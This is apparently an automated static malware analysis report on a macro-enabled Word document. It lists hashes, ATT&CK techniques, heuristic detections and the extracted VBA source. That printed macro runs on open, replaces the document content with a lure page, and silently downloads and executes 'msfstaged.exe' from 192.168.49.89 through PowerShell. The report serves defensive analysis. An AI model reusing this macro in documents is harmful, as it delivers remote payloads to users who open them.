Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 814ccce31639af85…

MALICIOUS

Office (OOXML)

29.6 KB Created: 2021-02-04 21:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-22
MD5: 105def6787f6c01c6e7c437ffc6d391c SHA-1: 332d316693e156894a3a5932aad1176f3117319a SHA-256: 814ccce31639af856953cd642efac0dffe68e700063126169ef3cdad3b3a4889
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains VBA macros that execute upon opening the document. The AutoOpen and Document_Open macros trigger a PowerShell command to download 'msfstaged.exe' from 'http://192.168.49.89/msfstaged.exe' and then execute it. This indicates a downloader or dropper functionality, common in malware delivery.

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.89/msfstaged.exe', 'msfstaged.exe')"
    Shell str, vbHide
    Dim exePath As String
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.89/msfstaged.exe', 'msfstaged.exe')"
    Shell str, vbHide
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    SubstitutePage
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub Document_Open()
    SubstitutePage
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.49.89/msfstaged.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1114 bytes
SHA-256: 73aea685dc8bc5df86605631550dcaf8c524fcf6dfe830d23fb4341f235c3e28
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Document_Open()
    SubstitutePage
    MyMacro
End Sub

Sub AutoOpen()
    SubstitutePage
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.89/msfstaged.exe', 'msfstaged.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path + "\msfstaged.exe"
    Wait (2)
    Shell exePath, vbHide
End Sub

Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

Sub SubstitutePage()
    ActiveDocument.Content.Select
    Selection.Delete
    ActiveDocument.AttachedTemplate.AutoTextEntries("TheDoc").Insert Where:=Selection.Range, RichText:=True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: c0c1447a333faf20405acbca54ac9aff62ef56f2a70d0560c426b2a5f97dc3bc
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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